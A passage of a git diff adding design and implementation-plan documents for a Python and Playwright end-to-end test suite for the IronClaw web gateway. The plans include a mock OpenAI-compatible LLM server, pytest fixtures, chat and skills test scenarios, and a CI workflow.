computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise. + +4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend. + +5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference. diff --git a/docs/plans/2026-02-24-e2e-infrastructure-design.md b/docs/plans/2026-02-24-e2e-infrastructure-design.md new file mode 100644 index 00000000..96810f98 --- /dev/null +++ b/docs/plans/2026-02-24-e2e-infrastructure-design.md @@ -0,0 +1,354 @@ +# E2E Testing Infrastructure Design + +**Date:** 2026-02-24 +**Status:** Approved +**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability. + +--- + +## Decisions + +| Decision | Choice | Rationale | +|----------|--------|-----------| +| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable | +| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests | +| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost | +| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas | +| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests | + +--- + +## Architecture + +``` + pytest + | + +----------+-----------+ + | | + mock_llm.py ironclaw binary + (canned responses) (cargo build --features libsql) + 127.0.0.1:{port} 127.0.0.1:{port} + | | + +----------+-----------+ + | + Playwright + (headless Chromium) + DOM assertions +``` + +**Flow:** + +1. pytest session starts +2. Session-scoped fixture builds ironclaw binary (or reuses cached) +3. Session-scoped fixture starts mock LLM on OS-assigned port +4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory +5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token +6. Each test uses Playwright locators + DOM assertions +7. Teardown kills ironclaw and mock LLM + +--- + +## Directory Structure + +``` +tests/e2e/ + conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser + mock_llm.py # OpenAI-compat HTTP server with canned responses + helpers.py # Shared utilities (wait_for_ready, selectors) + scenarios/ + __init__.py + test_connection.py # Auth, tab navigation, connection status + test_chat.py # Send message, SSE streaming, response rendering + test_skills.py # Search, install, remove lifecycle + pyproject.toml # Dependencies + README.md # How to run locally and in CI +``` + +--- + +## Mock LLM Server + +A minimal async HTTP server that speaks the OpenAI Chat Completions API. + +**Endpoint:** `POST /v1/chat/completions` + +**Behavior:** +- Parses the `messages` array from the request body +- Pattern-matches the last user message content to select a canned response +- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage` +- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser) + +**Canned response table:** + +| Pattern (regex) | Response | +|-----------------|----------| +| `hello\|hi\|hey` | `Hello! How can I help you today?` | +| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` | +| `skill\|install` | `I can help you with skills management.` | +| `.*` (default) | `I understand your request.` | + +**Streaming format:** + +``` +data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]} + +data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]} + +data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]} + +data: [DONE] +``` + +**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios. + +**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`. + +--- + +## Fixtures + +### Session-scoped (run once per test session) + +**`ironclaw_binary`** +- Checks if `./target/debug/ironclaw` exists +- If missing or stale, runs `cargo build --no-default-features --features libsql` +- Returns the binary path +- Timeout: 300s (first build can be slow) + +**`mock_llm_server`** +- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port) +- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`) +- Polls `GET /v1/models` until ready (timeout 10s) +- Yields `(process, url)` +- Kills process on teardown + +**`ironclaw_server(ironclaw_binary, mock_llm_server)`** +- Starts the ironclaw binary with environment: + +``` +GATEWAY_ENABLED=true +GATEWAY_HOST=127.0.0.1 +GATEWAY_PORT=0 +GATEWAY_AUTH_TOKEN=e2e-test-token +GATEWAY_USER_ID=e2e-tester +CLI_ENABLED=false +LLM_BACKEND=openai_compatible +LLM_BASE_URL={mock_llm_url} +LLM_MODEL=mock-model +DATABASE_BACKEND=libsql +LIBSQL_PATH=:memory: +SANDBOX_ENABLED=false +SKILLS_ENABLED=true +ROUTINES_ENABLED=false +HEARTBEAT_ENABLED=false +``` + +- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`) +- Polls `GET /api/status` until ready (timeout 60s) +- Yields the base URL (`http://127.0.0.1:{port}`) +- Sends SIGTERM on teardown, SIGKILL after 5s grace + +### Function-scoped (fresh per test) + +**`page(ironclaw_server)`** +- Launches Playwright Chromium (headless) +- Creates new browser context (isolated cookies/storage) +- Creates new page with viewport 1280x720 +- Navigates to `{base_url}/?token=e2e-test-token` +- Waits for network idle +- Yields the `Page` object +- Closes browser context on teardown + +--- + +## Test Scenarios + +### Scenario 1: Connection and Tab Navigation (`test_connection.py`) + +Tests auth, initial page load, and tab switching. + +``` +test_page_loads_and_connects: + 1. Assert page title or main container is visible + 2. Assert connection status indicator shows "Connected" (or equivalent) + 3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills + +test_tab_navigation: + 1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]: + a. Click the tab button + b. Assert the corresponding panel container becomes visible + c. Assert no error toasts appear + 2. Return to Chat tab + 3. Assert chat input is visible and focusable + +test_auth_rejection: + 1. Navigate to base_url without token (no ?token= param) + 2. Assert auth screen / login prompt appears (not the main app) +``` + +### Scenario 2: Chat Message Round-Trip (`test_chat.py`) + +Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering. + +``` +test_send_message_and_receive_response: + 1. Locate chat input element + 2. Type "What is 2+2?" + 3. Press Enter (or click Send button) + 4. Wait for assistant message to appear (timeout 15s) + 5. Assert user message bubble contains "What is 2+2?" + 6. Assert assistant message bubble contains "4" + 7. Assert no error toasts visible + +test_multiple_messages: + 1. Send "Hello" + 2. Wait for response containing "Hello" or "help" + 3. Send "What is 2+2?" + 4. Wait for response containing "4" + 5. Assert message count >= 4 (2 user + 2 assistant) + +test_empty_message_not_sent: + 1. Focus chat input + 2. Press Enter with empty input + 3. Assert no new messages appear after 2s +``` + +### Scenario 3: Skills Lifecycle (`test_skills.py`) + +Tests ClawHub search, install, and remove through the browser UI. + +Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable. + +``` +test_skills_tab_visible: + 1. Click Skills tab + 2. Assert skills panel is visible + 3. Assert search input is present + +test_skills_search: + 1. Click Skills tab + 2. Type "markdown" in search input + 3. Click Search (or press Enter) + 4. Wait for results (timeout 15s) + 5. Assert at least one result card is visible + 6. Assert result cards contain: name, version, description fields + +test_skills_install_and_remove: + 1. Search for a skill + 2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true") + 3. Click Install on first result + 4. Wait for installed skills list to update (timeout 15s) + 5. Assert skill appears in installed section + 6. Click Remove on the installed skill + 7. Wait for installed section to update + 8. Assert skill is gone from installed list +``` + +--- + +## Port Discovery + +IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port. + +```python +async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60): + """Read process stdout until we find the listening port.""" + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + line = await asyncio.wait_for( + process.stdout.readline(), timeout=deadline - time.monotonic() + ) + if match := re.search(pattern, line.decode()): + return int(match.group(1)) + raise TimeoutError("ironclaw did not report listening port") +``` + +Same pattern for the mock LLM server. + +--- + +## Dependencies + +```toml +# tests/e2e/pyproject.toml +[project] +name = "ironclaw-e2e" +version = "0.1.0" +requires-python = ">=3.11" +dependencies = [ + "pytest>=8.0", + "pytest-asyncio>=0.23", + "playwright>=1.40", + "aiohttp>=3.9", + "httpx>=0.27", +] + +[project.optional-dependencies] +vision = [ + "anthropic>=0.40", +] +``` + +--- + +## CI Integration + +```yaml +# .github/workflows/e2e.yml +name: E2E Tests +on: + schedule: + - cron: "0 6 * * 1" # Weekly Monday 6 AM UTC + workflow_dispatch: + pull_request: + paths: + - 'src/channels/web/**' + - 'tests/e2e/**' + +jobs: + e2e: + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + - uses: actions/cache@v4 + with: + path: target + key: e2e-${{ hashFiles('Cargo.lock') }} + - name: Build ironclaw + run: cargo build --no-default-features --features libsql + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + - name: Install E2E dependencies + run: | + cd tests/e2e + pip install -e . + playwright install chromium + - name: Run E2E tests + run: pytest tests/e2e/ -v --timeout=120 +``` + +**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR. + +--- + +## Future: Claude Vision Layer + +Not in initial scope. Design accommodates it via: + +- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()` +- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response +- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set +- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage" + +--- + +## Success Criteria + +1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary +2. All 3 scenarios (connection, chat, skills) exercise real browser interactions +3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness) +4. CI workflow runs on web gateway changes and weekly schedule +5. Test failures produce clear error messages with screenshot artifacts diff --git a/docs/plans/2026-02-24-e2e-infrastructure.md b/docs/plans/2026-02-24-e2e-infrastructure.md new file mode 100644 index 00000000..1d773af1 --- /dev/null +++ b/docs/plans/2026-02-24-e2e-infrastructure.md @@ -0,0 +1,952 @@ +# E2E Testing Infrastructure Implementation Plan + +> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task. + +**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend. + +**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions. + +**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp + +**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md` + +--- + +### Task 1: Project scaffolding and pyproject.toml + +**Files:** +- Create: `tests/e2e/pyproject.toml` +- Create: `tests/e2e/scenarios/__init__.py` + +**Step 1: Create pyproject.toml** + +```toml +[project] +name = "ironclaw-e2e" +version = "0.1.0" +requires-python = ">=3.11" +dependencies = [ + "pytest>=8.0", + "pytest-asyncio>=0.23", + "pytest-playwright>=0.5", + "playwright>=1.40", + "aiohttp>=3.9", + "httpx>=0.27", +] + +[project.optional-dependencies] +vision = [ + "anthropic>=0.40", +] + +[tool.pytest.ini_options] +asyncio_mode = "auto" +timeout = 120 +``` + +**Step 2: Create empty __init__.py** + +Create `tests/e2e/scenarios/__init__.py` as an empty file. + +**Step 3: Verify install works** + +Run: +```bash +cd tests/e2e && pip install -e . && playwright install chromium +``` +Expected: Clean install, no errors. + +**Step 4: Commit** + +```bash +git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py +git commit -m "scaffold: E2E test project with pyproject.toml" +``` + +--- + +### Task 2: Mock LLM server + +**Files:** +- Create: `tests/e2e/mock_llm.py` + +**Step 1: Write the mock LLM server** + +The server must: +- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned) +- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse) +- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes +- Handle `GET /v1/models` for health checks +- Pattern-match the last user message to select canned responses +- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming) + +```python +"""Mock OpenAI-compatible LLM server for E2E tests.""" + +import argparse +import json +import re +import time +import uuid + +from aiohttp import web + +CANNED_RESPONSES = [ + (re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"), + (re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."), + (re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."), +] +DEFAULT_RESPONSE = "I understand your request." + + +def match_response(messages: list[dict]) -> str: + """Find canned response for the last user message.""" + for msg in reversed(messages): + if msg.get("role") == "user": + content = msg.get("content", "") + # Handle content that may be a list (multi-modal) + if isinstance(content, list): + content = " ".join( + part.get("text", "") for part in content if part.get("type") == "text" + ) + for pattern, response in CANNED_RESPONSES: + if pattern.search(content): + return response + return DEFAULT_RESPONSE + return DEFAULT_RESPONSE + + +async def chat_completions(request: web.Request) -> web.StreamResponse: + """Handle POST /v1/chat/completions.""" + body = await request.json() + messages = body.get("messages", []) + stream = body.get("stream", False) + response_text = match_response(messages) + completion_id = f"mock-{uuid.uuid4().hex[:8]}" + + if not stream: + return web.json_response({ + "id": completion_id, + "object": "chat.completion", + "created": int(time.time()), + "model": "mock-model", + "choices": [{ + "index": 0, + "message": {"role": "assistant", "content": response_text}, + "finish_reason": "stop", + }], + "usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15}, + }) + + # Streaming response: split into word-boundary chunks + resp = web.StreamResponse( + status=200, + headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"}, + ) + await resp.prepare(request) + + # First chunk: role + chunk = { + "id": completion_id, + "object": "chat.completion.chunk", + "created": int(time.time()), + "model": "mock-model", + "choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}], + } + await resp.write(f"data: {json.dumps(chunk)}\n\n".encode()) + + # Content chunks: split on spaces + words = response_text.split(" ") + for i, word in enumerate(words): + text = word if i == 0 else f" {word}" + chunk["choices"][0]["delta"] = {"content": text} + await resp.write(f"data: {json.dumps(chunk)}\n\n".encode()) + + # Final chunk: finish_reason + chunk["choices"][0]["delta"] = {} + chunk["choices"][0]["finish_reason"] = "stop" + await resp.write(f"data: {json.dumps(chunk)}\n\n".encode()) + await resp.write(b"data: [DONE]\n\n") + + return resp + + +async def models(_request: web.Request) -> web.Response: + """Handle GET /v1/models.""" + return web.json_response({ + "object": "list", + "data": [{"id": "mock-model", "object": "model", "owned_by": "test"}], + }) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--port", type=int, default=0) + args = parser.parse_args() + + app = web.Application() + app.router.add_post("/v1/chat/completions", chat_completions) + app.router.add_get("/v1/models", models) + + # Use aiohttp's runner to get the actual bound port + import asyncio + + async def start(): + runner = web.AppRunner(app) + await runner.setup() + site = web.TCPSite(runner, "127.0.0.1", args.port) + await site.start() + # Extract the actual port from the bound socket + port = site._server.sockets[0].getsockname()[1] + print(f"MOCK_LLM_PORT={port}", flush=True) + # Block forever + await asyncio.Event().wait() + + asyncio.run(start()) + + +if __name__ == "__main__": + main() +``` + +**Step 2: Verify it starts and responds** + +Run: +```bash +python tests/e2e/mock_llm.py --port 18080 & +curl -s http://127.0.0.1:18080/v1/models | python -m json.tool +curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \ + -H "Content-Type: application/json" \ + -d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}' +kill %1 +``` + +Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4". + +**Step 3: Verify streaming** + +```bash +python tests/e2e/mock_llm.py --port 18080 & +curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \ + -H "Content-Type: application/json" \ + -d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}' +kill %1 +``` + +Expected: SSE chunks ending with `data: [DONE]`. + +**Step 4: Commit** + +```bash +git add tests/e2e/mock_llm.py +git commit -m "feat: mock OpenAI-compat LLM server for E2E tests" +``` + +--- + +### Task 3: Helpers module + +**Files:** +- Create: `tests/e2e/helpers.py` + +**Step 1: Write helpers** + +```python +"""Shared helpers for E2E tests.""" + +import asyncio +import re +import time + +import httpx + +# ── DOM Selectors ──────────────────────────────────────────────────────── +# Keep all selectors in one place so changes to the frontend only need +# one update. + +SEL = { + # Auth + "auth_screen": "#auth-screen", + "token_input": "#token-input", + # Connection + "sse_status": "#sse-status", + # Tabs + "tab_button": '.tab-bar button[data-tab="{tab}"]', + "tab_panel": "#tab-{tab}", + # Chat + "chat_input": "#chat-input", + "chat_messages": "#chat-messages", + "message_user": "#chat-messages .message.user", + "message_assistant": "#chat-messages .message.assistant", + # Skills + "skill_search_input": "#skill-search-input", + "skill_search_results": "#skill-search-results", + "skill_search_result": ".skill-search-result", + "skill_installed": "#installed-skills .ext-card", +} + +TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"] + +# Auth token used across all tests +AUTH_TOKEN = "e2e-test-token" + + +async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5): + """Poll a URL until it returns 200 or timeout.""" + deadline = time.monotonic() + timeout + async with httpx.AsyncClient() as client: + while time.monotonic() < deadline: + try: + resp = await client.get(url, timeout=5) + if resp.status_code == 200: + return + except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException): + pass + await asyncio.sleep(interval) + raise TimeoutError(f"Service at {url} not ready after {timeout}s") + + +async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int: + """Read process stdout line by line until a port-bearing line matches.""" + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + remaining = deadline - time.monotonic() + if remaining <= 0: + break + try: + line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining) + except asyncio.TimeoutError: + break + decoded = line.decode("utf-8", errors="replace").strip() + if match := re.search(pattern, decoded): + return int(match.group(1)) + raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s") +``` + +**Step 2: Commit** + +```bash +git add tests/e2e/helpers.py +git commit -m "feat: E2E helpers with DOM selectors and port discovery" +``` + +--- + +### Task 4: conftest.py fixtures + +**Files:** +- Create: `tests/e2e/conftest.py` + +**Step 1: Write the fixtures** + +Key details from codebase research: +- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0. +- Health endpoint: `GET /api/health` (public, no auth required) +- Auth via `?token=` query parameter for the frontend auto-auth flow +- The frontend hides `#auth-screen` when token is valid and SSE connects + +```python +"""pytest fixtures for E2E tests. + +Session-scoped: build binary, start mock LLM, start ironclaw. +Function-scoped: fresh Playwright browser page per test. +""" + +import asyncio +import os +import signal +import subprocess +import sys +from pathlib import Path + +import pytest + +from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready + +# Project root (two levels up from tests/e2e/) +ROOT = Path(__file__).resolve().parent.parent.parent + +# Ports: use high fixed ports to avoid conflicts with development instances +MOCK_LLM_PORT = 18_199 +GATEWAY_PORT = 18_200 + + +@pytest.fixture(scope="session") +def ironclaw_binary(): + """Ensure ironclaw binary is built. Returns the binary path.""" + binary = ROOT / "target" / "debug" / "ironclaw" + if not binary.exists(): + print("Building ironclaw (this may take a while)...") + subprocess.run( + ["cargo", "build", "--no-default-features", "--features", "libsql"], + cwd=ROOT, + check=True, + timeout=600, + ) + assert binary.exists(), f"Binary not found at {binary}" + return str(binary) + + +@pytest.fixture(scope="session") +def event_loop(): + """Create a session-scoped event loop for async fixtures.""" + loop = asyncio.new_event_loop() + yield loop + loop.close() + + +@pytest.fixture(scope="session") +async def mock_llm_server(): + """Start the mock LLM server. Yields the base URL.""" + server_script = Path(__file__).parent / "mock_llm.py" + proc = await asyncio.create_subprocess_exec( + sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT), + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + try: + port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10) + url = f"http://127.0.0.1:{port}" + await wait_for_ready(f"{url}/v1/models", timeout=10) + yield url + finally: + proc.send_signal(signal.SIGTERM) + try: + await asyncio.wait_for(proc.wait(), timeout=5) + except asyncio.TimeoutError: + proc.kill() + + +@pytest.fixture(scope="session") +async def ironclaw_server(ironclaw_binary, mock_llm_server): + """Start the ironclaw gateway. Yields the base URL.""" + env = { + **os.environ, + "RUST_LOG": "ironclaw=info", + "GATEWAY_ENABLED": "true", + "GATEWAY_HOST": "127.0.0.1", + "GATEWAY_PORT": str(GATEWAY_PORT), + "GATEWAY_AUTH_TOKEN": AUTH_TOKEN, + "GATEWAY_USER_ID": "e2e-tester", + "CLI_ENABLED": "false", + "LLM_BACKEND": "openai_compatible", + "LLM_BASE_URL": mock_llm_server, + "LLM_MODEL": "mock-model", + "DATABASE_BACKEND": "libsql", + "LIBSQL_PATH": ":memory:", + "SANDBOX_ENABLED": "false", + "SKILLS_ENABLED": "true", + "ROUTINES_ENABLED": "false", + "HEARTBEAT_ENABLED": "false", + "EMBEDDING_ENABLED": "false", + # Prevent onboarding wizard from triggering + "ONBOARD_COMPLETED": "true", + } + proc = await asyncio.create_subprocess_exec( + ironclaw_binary, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + env=env, + ) + base_url = f"http://127.0.0.1:{GATEWAY_PORT}" + try: + await wait_for_ready(f"{base_url}/api/health", timeout=60) + yield base_url + finally: + proc.send_signal(signal.SIGTERM) + try: + await asyncio.wait_for(proc.wait(), timeout=5) + except asyncio.TimeoutError: + proc.kill() + + +@pytest.fixture +async def page(ironclaw_server): + """Fresh Playwright browser page, navigated to the gateway with auth.""" + from playwright.async_api import async_playwright + + async with async_playwright() as p: + browser = await p.chromium.launch(headless=True) + context = await browser.new_context(viewport={"width": 1280, "height": 720}) + pg = await context.new_page() + await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}") + # Wait for the app to initialize (auth screen hidden, SSE connected) + await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000) + yield pg + await context.close() + await browser.close() +``` + +**Step 2: Commit** + +```bash +git add tests/e2e/conftest.py +git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw" +``` + +--- + +### Task 5: Scenario 1 -- Connection and tab navigation + +**Files:** +- Create: `tests/e2e/scenarios/test_connection.py` + +**Step 1: Write the test** + +```python +"""Scenario 1: Connection, auth, and tab navigation.""" + +import pytest +from helpers import AUTH_TOKEN, SEL, TABS + + +async def test_page_loads_and_connects(page): + """After auth, the app shows Connected status and all tabs.""" + # Connection status + status = page.locator(SEL["sse_status"]) + await status.wait_for(state="visible", timeout=10000) + text = await status.text_content() + assert text is not None + assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'" + + # All 6 main tabs visible + for tab in TABS: + btn = page.locator(SEL["tab_button"].format(tab=tab)) + assert await btn.is_visible(), f"Tab button '{tab}' not visible" + + +async def test_tab_navigation(page): + """Clicking each tab shows its panel.""" + for tab in TABS: + btn = page.locator(SEL["tab_button"].format(tab=tab)) + await btn.click() + panel = page.locator(SEL["tab_panel"].format(tab=tab)) + await panel.wait_for(state="visible", timeout=5000) + + # Return to Chat tab + await page.locator(SEL["tab_button"].format(tab="chat")).click() + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + +async def test_auth_rejection(page, ironclaw_server): + """Navigating without a token shows the auth screen.""" + # Open a new page without the token + new_page = await page.context.new_page() + await new_page.goto(ironclaw_server) + auth_screen = new_page.locator(SEL["auth_screen"]) + await auth_screen.wait_for(state="visible", timeout=10000) + await new_page.close() +``` + +**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)** + +```bash +cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120 +``` + +Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not. + +**Step 3: Commit** + +```bash +git add tests/e2e/scenarios/test_connection.py +git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests" +``` + +--- + +### Task 6: Scenario 2 -- Chat message round-trip + +**Files:** +- Create: `tests/e2e/scenarios/test_chat.py` + +**Step 1: Write the test** + +```python +"""Scenario 2: Chat message round-trip via SSE streaming.""" + +import pytest +from helpers import SEL + + +async def test_send_message_and_receive_response(page): + """Type a message, receive a streamed response from mock LLM.""" + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + # Send message + await chat_input.fill("What is 2+2?") + await chat_input.press("Enter") + + # Wait for assistant response + assistant_msg = page.locator(SEL["message_assistant"]).last + await assistant_msg.wait_for(state="visible", timeout=15000) + + # Verify user message + user_msgs = page.locator(SEL["message_user"]) + assert await user_msgs.count() >= 1 + last_user = user_msgs.last + user_text = await last_user.text_content() + assert "2+2" in user_text or "2 + 2" in user_text + + # Verify assistant response contains "4" (from mock LLM canned response) + assistant_text = await assistant_msg.text_content() + assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'" + + +async def test_multiple_messages(page): + """Send two messages, verify both get responses.""" + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + # First message + await chat_input.fill("Hello") + await chat_input.press("Enter") + + # Wait for first response + await page.locator(SEL["message_assistant"]).first.wait_for( + state="visible", timeout=15000 + ) + + # Second message + await chat_input.fill("What is 2+2?") + await chat_input.press("Enter") + + # Wait for second response (at least 2 assistant messages) + await page.wait_for_function( + """() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""", + timeout=15000, + ) + + # Verify counts + user_count = await page.locator(SEL["message_user"]).count() + assistant_count = await page.locator(SEL["message_assistant"]).count() + assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}" + assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}" + + +async def test_empty_message_not_sent(page): + """Pressing Enter with empty input should not create a message.""" + chat_input = page.locator(SEL["chat_input"]) + await chat_input.wait_for(state="visible", timeout=5000) + + initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count() + + # Press Enter with empty input + await chat_input.press("Enter") + + # Wait a moment and verify no new messages + await page.wait_for_timeout(2000) + final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count() + assert final_count == initial_count, "Empty message should not create new messages" +``` + +**Step 2: Commit** + +```bash +git add tests/e2e/scenarios/test_chat.py +git commit -m "feat: E2E scenario 2 -- chat message round-trip tests" +``` + +--- + +### Task 7: Scenario 3 -- Skills lifecycle + +**Files:** +- Create: `tests/e2e/scenarios/test_skills.py` + +**Step 1: Write the test** + +Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down. + +```python +"""Scenario 3: Skills search, install, and remove lifecycle.""" + +import pytest +from helpers import SEL + + +async def test_skills_tab_visible(page): + """Skills tab shows the search interface.""" + await page.locator(SEL["tab_button"].format(tab="skills")).click() + panel = page.locator(SEL["tab_panel"].format(tab="skills")) + await panel.wait_for(state="visible", timeout=5000) + + search_input = page.locator(SEL["skill_search_input"]) + assert await search_input.is_visible(), "Skills search input not visible" + + +async def test_skills_search(page): + """Search ClawHub for skills and verify results appear.""" + await page.locator(SEL["tab_button"].format(tab="skills")).click() + + search_input = page.locator(SEL["skill_search_input"]) + await search_input.fill("markdown") + await search_input.press("Enter") + + # Wait for results (ClawHub may be slow) + try: + results = page.locator(SEL["skill_search_result"]) + await results.first.wait_for(state="visible", timeout=20000) + except Exception: + pytest.skip("ClawHub registry unreachable or returned no results") + + count = await results.count() + assert count >= 1, "Expected at least 1 search result" + + +async def test_skills_install_and_remove(page): + """Install a skill from search results, then remove it.""" + await page.locator(SEL["tab_button"].format(tab="skills")).click() + + # Search + search_input = page.locator(SEL["skill_search_input"]) + await search_input.fill("markdown") + await search_input.press("Enter") + + try: + results = page.locator(SEL["skill_search_result"]) + await results.first.wait_for(state="visible", timeout=20000) + except Exception: + pytest.skip("ClawHub registry unreachable or returned no results") + + # Auto-accept confirm dialogs + await page.evaluate("window.confirm = () => true") + + # Install first result + install_btn = results.first.locator("button", has_text="Install") + if await install_btn.count() == 0: + pytest.skip("No installable skills found in results") + await install_btn.click() + + # Wait for install to complete (installed list updates) + # The UI should show the skill in the installed section + await page.wait_for_timeout(5000) + + # Check if any installed skills exist now + installed = page.locator(SEL["skill_installed"]) + installed_count = await installed.count() + if installed_count == 0: + # Try scrolling or waiting longer + await page.wait_for_timeout(5000) + installed_count = await installed.count() + + assert installed_count >= 1, "Skill should appear in installed list after install" + + # Remove the skill + remove_btn = installed.first.locator("button", has_text="Remove") + if await remove_btn.count() > 0: + await remove_btn.click() + await page.wait_for_timeout(3000) + + # Verify removed + new_count = await page.locator(SEL["skill_installed"]).count() + assert new_count < installed_count, "Skill should be removed from installed list" +``` + +**Step 2: Commit** + +```bash +git add tests/e2e/scenarios/test_skills.py +git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests" +``` + +--- + +### Task 8: CI workflow + +**Files:** +- Create: `.github/workflows/e2e.yml` + +**Step 1: Write the workflow** + +```yaml +name: E2E Tests +on: + schedule: + - cron: "0 6 * * 1" # Weekly Monday 6 AM UTC + workflow_dispatch: + pull_request: + paths: + - "src/channels/web/**" + - "tests/e2e/**" + +jobs: + e2e: + name: Browser E2E + runs-on: ubuntu-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@v4 + + - uses: dtolnay/rust-toolchain@stable + + - uses: actions/cache@v4 + with: + path: | 